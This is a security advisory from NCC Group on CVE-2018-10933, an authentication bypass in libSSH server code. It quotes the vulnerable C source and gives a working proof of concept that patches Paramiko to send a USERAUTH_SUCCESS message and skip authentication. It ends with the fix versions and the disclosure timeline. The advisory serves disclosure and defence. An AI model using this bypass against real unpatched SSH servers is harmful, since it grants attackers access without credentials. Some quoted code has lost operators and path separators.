Technical Advisory: Authentication Bypass in libSSH

Vendor: libSSH
Vendor URL: https://www.libssh.org/
Versions affected: Versions of libSSH 0.6 and above, prior to 0.7.6 or 0.8.4.
Author: Peter Winter-Smith peter.winter-smith[at]nccgroup.com
Advisory URL / CVE Identifier: CVE-2018-10933 - https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Risk: Critical – Authentication Bypass

Summary

libSSH is a library written in C which implements the SSH protocol and can be used to implement both client and server applications.

Location

A vulnerability was discovered within the libSSH server code which can enable a client to bypass the authentication process and set the internal state machine maintained by the library to authenticated, enabling the (otherwise prohibited) creation of channels.

Impact

Careful reading of code for the affected libSSH library indicated that it was possible to bypass authentication by presenting to the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication. The SSH2_MSG_USERAUTH_SUCCESS handler is intended only for communication from the server to the client.

Details

To see how presenting such a message may result in authentication bypass it is necessary to inspect the code responsible for handling SSH protocol messages. In vulnerable versions of the library the following code implemented the packet processing dispatch table:

libsshsrcpacket.c (line 51)

static ssh_packet_callback default_packet_handlers[]= {

#if WITH_SERVER
ssh_packet_userauth_request, // SSH2_MSG_USERAUTH_REQUEST 50
#else
NULL,
#endif
ssh_packet_userauth_failure, // SSH2_MSG_USERAUTH_FAILURE 51
ssh_packet_userauth_success, // SSH2_MSG_USERAUTH_SUCCESS 52

The functions within this table were invoked by the dispatcher as follows:
libsshsrcpacket.c (line 405)
void ssh_packet_process(ssh_session session, uint8_t type){

i=ssh_list_get_iterator(session->packet_callbacks);
while(i != NULL){
cb=ssh_iterator_value(ssh_packet_callbacks,i);

r=cb->callbacks[type - cb->start](session,type,session->in_buffer,cb->user);

}

The above code which executes handlers based on packet type indiscriminately dispatches messages based on type, which means that even though the SH2_MSG_USERAUTH_SUCCESS message is intended only to be processed by clients, it can also be executed by the server.

If we investigate the SSH2_MSG_USERAUTH_SUCCESS handler we see the following:

libsshsrcauth.c (line 243)

SSH_PACKET_CALLBACK(ssh_packet_userauth_success){
(void)packet;
(void)type;
(void)user;

SSH_LOG(SSH_LOG_DEBUG, "Authentication successful");
SSH_LOG(SSH_LOG_TRACE, "Received SSH_USERAUTH_SUCCESS");

session->auth_state=SSH_AUTH_STATE_SUCCESS;
session->session_state=SSH_SESSION_STATE_AUTHENTICATED;
session->flags |= SSH_SESSION_FLAG_AUTHENTICATED;

if(session->current_crypto session->current_crypto->delayed_compress_out){
SSH_LOG(SSH_LOG_DEBUG, "Enabling delayed compression OUT");
session->current_crypto->do_compress_out=1;
}

if(session->current_crypto session->current_crypto->delayed_compress_in){
SSH_LOG(SSH_LOG_DEBUG, "Enabling delayed compression IN");
session->current_crypto->do_compress_in=1;
}

return SSH_PACKET_USED;
}

When an SSH2_MSG_USERAUTH_SUCCESS message is received, the above handler function sets the session state to SSH_SESSION_STATE_AUTHENTICATED; on the client this would just specify to the state machine that authentication has succeeded, but if executed on the server this appears to actually change the session state to authenticated.

This understanding of the SSH_SESSION_STATE_AUTHENTICATED state in the server is further supported by the fact that once authentication is successfully completed the following function is executed to reply with the success message, and to set the user as authenticated:

libsshsrcserver.c (line 983)

int ssh_auth_reply_success(ssh_session session, int partial) {
int r;

if (session == NULL) {
return SSH_ERROR;
}
if (partial) {
return ssh_auth_reply_default(session, partial);
}

session->session_state = SSH_SESSION_STATE_AUTHENTICATED;
session->flags |= SSH_SESSION_FLAG_AUTHENTICATED;

if (ssh_buffer_add_u8(session->out_buffer,SSH2_MSG_USERAUTH_SUCCESS) < 0) {
return SSH_ERROR;
}

r = ssh_packet_send(session);

if(session->current_crypto session->current_crypto->delayed_compress_out){
SSH_LOG(SSH_LOG_PROTOCOL,"Enabling delayed compression OUT");
session->current_crypto->do_compress_out=1;
}
if(session->current_crypto session->current_crypto->delayed_compress_in){
SSH_LOG(SSH_LOG_PROTOCOL,"Enabling delayed compression IN");
session->current_crypto->do_compress_in=1;
}
return r;
}

Once the server session state is set to SSH_SESSION_STATE_AUTHENTICATED the following security check – enforced when creating a new SSH channel – can be bypassed:

libsshsrcmessages.c (line 989)

SSH_PACKET_CALLBACK(ssh_packet_channel_open){

if (session->session_state != SSH_SESSION_STATE_AUTHENTICATED){
ssh_set_error(session,SSH_FATAL, "Invalid state when receiving channel open request (must be authenticated)");
goto error;
}

Proof of concept code can be developed using Paramiko; the following changes were made to the auth_handler.py file (line 248):

 def _parse_service_accept(self, m):

elif (
self.auth_method == 'gssapi-keyex' and
self.transport.gss_kex_used
):
kexgss = self.transport.kexgss_ctxt
kexgss.set_username(self.username)
mic_token = kexgss.ssh_get_mic(self.transport.session_id)
m.add_string(mic_token)
elif self.auth_method == 'none':
pass
else:
raise SSHException(
'Unknown auth method "{}"'.format(self.auth_method))
#ncc:
m = Message()
m.add_byte(cMSG_USERAUTH_SUCCESS)
self.transport._send_message(m)
self.authenticated = True
self.transport._auth_trigger()
if self.auth_event is not None:
self.auth_event.set()
return
#ncc
self.transport._send_message(m)
else:
self._log(
DEBUG,
'Service request "{}" accepted (?)'.format(service))

The code within the “#ncc” comments was introduced to force the sending of a SSH2_MSG_USERAUTH_SUCCESS message in place of a SSH2_MSG_USERAUTH_REQUEST.

Not all libSSH servers will necessarily be vulnerable to the authentication bypass; since the authentication bypass sets the internal libSSH state machine to authenticated without ever giving any registered authentication callbacks an opportunity to execute, servers developed using libSSH which maintain additional custom session state may fail to function correctly if a user is authenticated without this state being created.

It is important to note that the authentication bypass exploit detailed above is the most obvious route to exploitation for the overarching issue – the libSSH server state machine is vulnerable to being updated by messages intended only for handling on the client side. Even servers which are not vulnerable to the authentication bypass will may still be vulnerable to other unexpected state manipulation issues, so it is imperative that all services built on top of libSSH are updated even if not demonstrated vulnerable to the authentication bypass.

Recommendation

All applications built using the libSSH library in server mode must be rebuilt with one of the patched versions of libSSH (i.e. versions 0.7.6 or 0.8.4).

The latest release of libSSH introduces more fine-grained session state transition requirements, which should block the majority – if not all – of the potential attack surface that exists due to this behaviour.

Vendor Communication

The libSSH team were notified about this issue on the 25th June 2018.
A fix for the issue was developed by the libSSH on 18th Sept. 2018.
An updated libSSH package was released on 16th Oct. 2018.

About NCC Group

NCC Group is a global expert in cyber security and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionising the way in which organisations think about cyber security.

Written by:  Peter Winter-Smith

Call us before you need us.

Our experts will help you.

Get in touch